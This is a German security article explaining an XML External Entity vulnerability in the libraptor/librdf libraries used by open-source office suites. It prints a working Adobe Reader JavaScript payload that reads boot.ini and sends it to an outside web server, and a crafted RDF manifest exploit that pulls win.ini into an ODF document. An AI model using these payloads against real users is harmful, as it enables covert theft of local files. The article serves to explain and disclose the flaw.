Die “libraptor”- und “librdf”-Bibliotheken stellen einfache C-APIs zum Verarbeiten von Resource Description Framework (RDF) Triples bereit. Unterstütze Syntax-Formate sind beispielsweise RDF/XML, N-Quads, N-Triples, RSS und noch einige mehr. “libraptor” ist eine Komponente von “librdf” und kommt in zahlreichen Open-Source-Lösungen zum Behandeln von RDF-Formaten zum Einsatz.
Im Dezember 2011 wies VSR in einem Security Advisory auf eine Schwachstelle in mehreren Open-Source Office-Produkten hin. Darunter befanden sich auch verbreitete Applikationen wie Open Office, Libre Office, KOffice und Abiword. Ursache dieser Schwachstelle waren Fehler beim Verarbeiten von XML-Daten.
Wie sich nun herausstellte entsteht die Sicherheitslücke durch einen Fehler in der verwendeten “libraptor”-Bibliothek, die in all diesen Office-Programmen zum Einsatz kommt. Ein Angreifer ist dadurch in der Lage XML External Entity (XXE) Attacks durchzuführen und damit an sensitive Daten seines Opfers zu gelangen. Solche Attacken sind über geschickt konstruierte ODF- oder RDF/XDL-Dokumente möglich. XML XXE-Attacken nutzen die Tatsache aus, dass XML-Dokumente dynamisch zusammengestellt werden und auf externe Daten (External Entities) durch URIs verweisen können. Solche Attacken tauchten schon im Jahr 2002 auf. Auch der Adobe Reader war häufig anfällig für solche Schwachstelle, da er Javascript akzeptiert und in älteren Versionen folgende Attacke möglich war:
var xml="<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY> " + "<!ENTITY xxe SYSTEM "c:/boot.ini"> ]><foo>&xxe;</foo>";
var xdoc = XMLData.parse(xml, false);
app.launchURL("http://shh.thathost.com/secdemo/show.php?" + "head=Your+boot.ini&text=" + escape(xdoc.foo.value));
Hier wird als External Entity die “boot.ini”-Datei einer Windows-Maschine angegeben. Der Javascript-Code führt dann dazu, dass diese Datei an den genannten Webserver geschickt wird.
Ähnlich funktioniert auch die jetzige ODF-Attacke, denn solche Dateien bestehen aus mehreren ZIP-Archiven und einer “manifest.rdf”-Datei, welche Metainformationen in RDF/XML-Notation speichert. Diese Manifest-Datei kann auch auf weitere RDF-Dateien im Dokument verweisen. Hier tritt nun das oben beschriebene Problem auf: die RDF-Dateien können auf External Entities, das heißt beliebige Dateien des Systems verweisen. Auch sind HTTP- und FTP-URIs als Quellen möglich. Eine Exploit-Datei könnte so aussehen:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE rdf [ <!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#";> <rdf:Description rdf:about="content.xml#id1265690860"> <ns0:comment xmlns:ns0="http://www.w3.org/2000/01/rdf-schema#";>&file;</ns0:comment> </rdf:Description> </rdf:RDF>
Wird diese Datei auf einer Windows-Maschine geöffnet und wieder gespeichert so sieht ihr Inhalt nach dem Speichern so aus:
<?xml version="1.0" encoding="utf-8"?> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#";> <rdf:Description rdf:about="content.xml#id1265690860"> <ns1:comment xmlns:ns1="http://www.w3.org/2000/01/rdf-schema#";>; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 CMCDLLNAME32=mapi32.dll CMC=1 MAPIX=1 MAPIXVER=1.0.0.1 OLEMessaging=1 </ns1:comment> </rdf:Description> </rdf:RDF>
Das heißt die “win.ini”-Datei wurde in ihr abgelegt. Ein Angreifer könnte so beispielsweise ein Formular für Open Office erzeugen, und sein Opfer bitten dieses auszufüllen (etwa eine Umfrage oder ähnliches). Ist diese Formular-Datei entsprechend konstruiert, so kann der Angreifer dafür sorgen, dass beliebige Daten des Opfer-Rechners unbemerkt in die Datei kopiert werden. Sendet das Opfer die ausgefüllte Datei an den Angreifer, so kann dieser die sensitiven Daten seines Opfers einsehen.
Betroffen von dieser Schwachstelle sind die “librdf”-Versionen 1.x und 2.x. Alle Open-Source-Office-Produkte sind anfällig für die Schwachstelle, da sie praktisch alle auf “librdf/libraptor” basieren.

